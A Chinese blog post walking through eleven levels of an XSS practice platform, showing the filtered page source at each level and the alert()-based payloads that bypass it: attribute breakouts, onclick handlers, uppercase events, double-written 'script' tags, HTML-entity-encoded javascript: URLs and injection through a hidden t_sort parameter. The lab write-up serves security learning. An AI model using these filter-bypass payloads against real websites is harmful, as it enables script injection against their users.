练习了DVWA靶场中的XSS了解了一些原理和攻击方式,接下来就用在线XSS平台开始实战一番。

在线XSS平台地址

第一关肯定不会太难,就用最常用的攻击语句试试。

<script>alert(/hacker/)</script>


第二关

就先把这个最简单的攻击语句放上去看看

<script>alert(/hacker/)</script>

没有出现弹窗,看下页面源代码。

<input name=keyword  value="<script>alert(/hacker/)</script>">
<input type=submit name=submit value="搜索"/>

观察代码,要想我们的语句起作用,就需要把前面的<input>标签给闭合掉。
那就输入这样的语句:
payload:

"><script>alert(/hacker/)</script>


第三关

还是那个套路,放上最常用的语句试试
没有成功,看看页面源代码

<input name=keyword  value='&lt;script&gt;alert(/hacker/)&lt;/script&gt;'>
<input type=submit name=submit value=搜索 />

发现输入的<和>被转义了
既然过滤了<和>,那就换一种攻击方式,用onclick 事件,onclick 事件会在元素被点击时发生。onclick 事件直接包含在<>内,并且可以被执行。再观察页面源代码,是单引号,那就在前面加'把value给闭合掉。
payload:

'οnclick='javascript:alert(/hacker/)'

输入之后,再点击一下输入框

第四关

先拿一个攻击语句测试下,再看看页面源代码。

<input name=keyword  value="scriptalert(/hacker/)/script">
<input type=submit name=submit value=搜索 />

观察到<和>直接被过滤掉了
那就用onclick 事件,这里是双引号,那就在前面输入",把value给闭合掉。
payload:

"οnclick="javascript:alert(/hacker/)"


第五关

还是那个套路,先输入常用的看看,没有弹窗,看看页面源代码。

<input name=keyword  value=""o_nclick="javascript:alert(/xss/)"">
<input type=submit name=submit value=搜索 />

发现on中多了一个下划线,所以过滤了onclick事件,试试script,再看页面源代码。

<input name=keyword  value=""><scr_ipt>alert(/hacker/)</script>">
<input type=submit name=submit value=搜索 />

果然,script也同样被过滤了。
那就用<a>标签构造攻击语句试试。
payload:

"><a href="javascript:alert(/xss/)">hacker</a>

也可以再后面加上//注释掉后面的"/,以免对前面的语句产生影响。

第六关

输入我们刚才用的语句,看页面源代码。

<input name=keyword  value="<scr_ipt>alert(/hacker/)</script>">
<input type=submit name=submit value=搜索 />
<input name=keyword  value=""o_nclick="javascript:alert(/xss/)"">
<input type=submit name=submit value=搜索 />
<input name=keyword  value=""><a hr_ef="javascript:alert(/xss/)">点这里</a>//">
<input type=submit name=submit value=搜索 />

可以看到在这里,hrefscriptonclick事件都被过滤了。
这里过滤的是onclick,改为大写试试。
payload:

"ONCLICK="javascript:alert(/hacker/)"


在浏览博客的时候也看到一个大佬用的payload

"><svg x="" Onclick=alert(1)>

利用<svg>标签进行攻击。

第七关


输入"><a href="javascript:alert(/xss/)">
查看页面源代码

<input name=keyword  value=""><a ="java:alert(/xss/)">点这里</a>//">
<input type=submit name=submit value=搜索 />

输入"><script>alert(/hacker/)</script>
查看页面源代码

<input name=keyword  value=""><>alert(/hacker/)</>">
<input type=submit name=submit value=搜索 />

这次更狠,直接把关键字给过滤没了
用双写绕过
payload:

"><sscriptcript>alert(/hacker/)</sscriptcript>

过滤掉中的script,但是一旦过滤掉,前后又可以重新拼接起来,形成一个完整的语句。

第八关

输入"onclick="javascript:alert(/hacker/)"
发现href,script被过滤,就试试onclick事件。
页面源代码:

<input name=keyword  value="&quot;οnclick=&quot;javascript:alert(/hacker/)&quot;">
<input type=submit name=submit value=添加友情链接 />

发现",<,>也被转义了。
再次观察源代码,发现友情链接。。。真的是提示,这不就是<a>标签绕过吗?

<input name=keyword  value="javascript:alert(1)">
<input type=submit name=submit value=添加友情链接 />
</form>
</center><center><BR><a href="javascr_ipt:alert(1)">友情链接</a>

既然下面有<a>标签,那我们就直接输入这个语句

javascript:alert(/hacker/)

但是script会被过滤,换一种方式表达script
采用HTML字符实体转换地址

方法一:
payload:

java&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:alert(/hacker/)


参考大佬的payload:
方法二:用 html 的自解码机制就可以绕过

javasc&#114;ipt:alert(0)

方法三:可以全转换为HTML实体

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;

第九关

又是友情链接,把刚才的语句输入进去,查看页面源代码。

<input name=keyword  value="java&amp;#x73;&amp;#x63;&amp;#x72;&amp;#x69;&amp;#x70;&amp;#x74;:alert(/hacker/)">
<input type=submit name=submit value=添加友情链接 />
</form>
</center><center><BR><a href="您的链接不合法?有没有!">友情链接</a></center><center><img src=level9.png></center>

我们输入的语句并没有进入到 <a>标签中,这里应该对格式有一定要求,查看大佬的博客后发现需要添加http://,否则不合法。
payload:

java&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:alert(/hacker/)//http://


第九关和第八关类似,区别就是第九关添加了url验证合法性。
第十关

这次更狠,连个输入框都不给。那就先看一下页面源代码吧

<form id=search>
<input name="t_link"  value="" type="hidden">
<input name="t_history"  value="" type="hidden">
<input name="t_sort"  value="" type="hidden">
</form>

一脸懵,不知道该如何下手了,只能去查看大佬的wp了。
先测试测试哪个可以注入

查看页面源代码,发现

<input name="t_link"  value="" type="hidden">
<input name="t_history"  value="" type="hidden">
<input name="t_sort"  value=""text"" type="hidden">

找到了,t_sort就是注入点,那就开始注入吧
代码中有隐藏的参数设置,把hidden改为text
payload:

&t_sort="οnclick="alert(/hacker/)"type="text"

也可以

&t_sort=" type="text" οnclick="alert(/hacker/)


第十一关

还没有输入框,那类型应该和第十关比较类似,先看页面源代码。

<form id=search>
<input name="t_link"  value="" type="hidden">
<input name="t_history"  value="" type="hidden">
<input name="t_sort"  value="" type="hidden">
<input name="t_ref"  value="http://test.xss.tv/level10.php?keyword=well%20done!&t_sort=%22%20type=%22text%22%20οnclick=%22alert(1)" type="hidden">
</form>

一样的方法,先测试一下看那个可以注入

查看页面源代码

<form id=search>
<input name="t_link"  value="" type="hidden">
<input name="t_history"  value="" type="hidden">
<input name="t_sort"  value="3" type="hidden">
<input name="t_ref"  value="" type="hidden">
</form>

发现了t_sort是可以注入的,把刚才的payload拿来试试

<input name="t_sort"  value="&quot;οnclick=&quot;alert(/hacker/)&quot;type=&quot;text&quot;" type="hidden">

发现"被转义了,把"转化为HTML实体也不行。查大佬的wp吧
发现做到这一关需要burpsuite抓包工具来帮忙,所以先做到这里,等到会用抓包工具了,再回过头来继续做。

未完待续————————

web安全—XSS攻击(二)相关推荐

  1. web安全-XSS攻击(一)

    XSS攻击和SQL注入都是web安全中很常见的攻击方式,最近先学习XSS攻击,待到XSS学完后再去学习SQL注入,哇(感慨一番),这些知识真的太有趣了. 在开始之前,有必要了解一下概念 1.XSS跨站 ...

  2. web漏洞--xss攻击(跨站脚本攻击漏洞)

    目录 1.概述 2.风险 3.存储式XSS漏洞 4.反射式XSS漏洞 5.DOM式XSS漏洞 1.概述 XSS(cross site script)或者说跨站脚本是一种Web应用程序的漏洞,恶意攻击者 ...

  3. 吴翰清讲web安全--XSS攻击

    跨站脚本攻击XSS XSS攻击,通常是指黑客通过"html"纂改了网页,插入了恶意的脚本,从而在用户浏览页面时,控制用户浏览器的一种攻击. <?php$input = $_G ...

  4. kali安装keylogger_小白日记48:kali渗透测试之Web渗透-XSS(二)-漏洞利用-键盘记录器,xsser...

    XSS 原则上:只要XSS漏洞存在,可以编写任何功能的js脚本 [反射型漏洞利用] 键盘记录器:被记录下的数据会发送到攻击者指定的URL地址上 服务器:kali 客户端 启动apache2服务:ser ...

  5. html获取cookie_知了汇智《XSS攻击-盗取cookie实战》课程文档讲解

    文章来源:知了汇智冯老师 今天是<web安全-XSS攻击>系列的最后一篇啦,希望大家好好学习哦~ XSS之 知了汇智-禁卫实验室(GoDun.F) 1. 编写获取cookie的代码cook ...

  6. Web安全系列(二):XSS 攻击进阶(初探 XSS Payload)

    什么是 XSS Payload 上一章我谈到了 XSS 攻击的几种分类以及形成的攻击的原理,并举了一些浅显的例子,接下来,我就阐述什么叫做 XSS Payload 以及从攻击者的角度来初探 XSS 攻 ...

  7. WEB漏洞测试(二)——HTML注入 XSS攻击

    上一篇介绍了我们安装BWAPP来完成我们的漏洞测试 在BWAPP中,将HTML Injection和XSS做了非常详细的分类,那么为什么要将两个一起讲呢?归根结底,我觉得这两个分明是一个玩意,充其量是 ...

  8. xss攻击-面向前端的安全攻击 ─=≡Σ(((つ•̀ω•́)つ 知己知彼百战百胜 web安全

    文章目录 XSS简介 测试环境 XSS工具步骤与分类 XSS用到的一些HTML和JS HTML表单文本框介绍 探测xss 反射型XSS 常用的反射型XSS攻击方法 闭合标签 使用下拉菜单 使用隐藏输入 ...

  9. 漏洞篇(XSS跨站脚本攻击二)

    目录 一.xss challenges 闯关游戏环境准备 二.手动挖掘 XSS 漏洞 1.Stage #1 无过滤的 XSS 注入 2.Stage #2 属性中的 XSS 注入 3.Stage #3 ...

最新文章

  1. Labview通过RS422通讯接口PC与下位机通信
  2. 《CLR Via C# 第3版》笔记之(十九) - 任务(Task)
  3. python权限管理系统_PMS:支持多应用的统一权限管理系统,用flask+vue实现
  4. 数据库-优化-数据库结构的优化-拆分优化
  5. 移除string的最后一个字符几种方法
  6. android 自定义布局 根据布局获取类,android自定义布局中的平滑移动之ViewGroup实现...
  7. Delphi ListView基本用法大全
  8. Java 调用gc语句_java GC机制(转)
  9. macOS 安装 Win11 常见问题及解决方案
  10. 模拟电视原理(笔记)
  11. 【论文学习】HIN2Vec模型
  12. 苹果支持WebRTC
  13. FPGA时钟篇(二) 7系列clock region详解
  14. TFT显示屏参数设置
  15. 如果你对未来还有点迷茫不妨来看一下,必看的软件测试指引!!!
  16. DOS时代后,金山系再出神级办公软件,会像WPS一样普及
  17. MySQL备份工具之xtrabackup
  18. 提交模式窗口后,刷新父窗口数据+获取frameset中各模块中数据
  19. 用html5 js实现浏览器全屏
  20. n平方的求和公式_1到N的平方和,立方和公式是怎么推导的

热门文章

  1. web服务器是如何维护,我们如何维护Web客户端和Web服务器之间的会话?
  2. 【机器学习算法专题(蓄力计划)】二十、实操代码MNIST 数据集
  3. 七十、Vue城市页面Ajax动态渲染和兄弟组件数据传递
  4. 额外篇 | basemap(上)
  5. 微信小程序学习笔记(六)
  6. 记录处理搜狗新闻分类
  7. pyspider爬链家网入库遇到的坑
  8. MyEclipse报错:String cannot be resolved to a type
  9. “AI+”赋能元宇宙,一文探讨智能交互的技术支撑
  10. 北京招聘 | 新浪微博机器学习部门招聘推荐算法开发实习生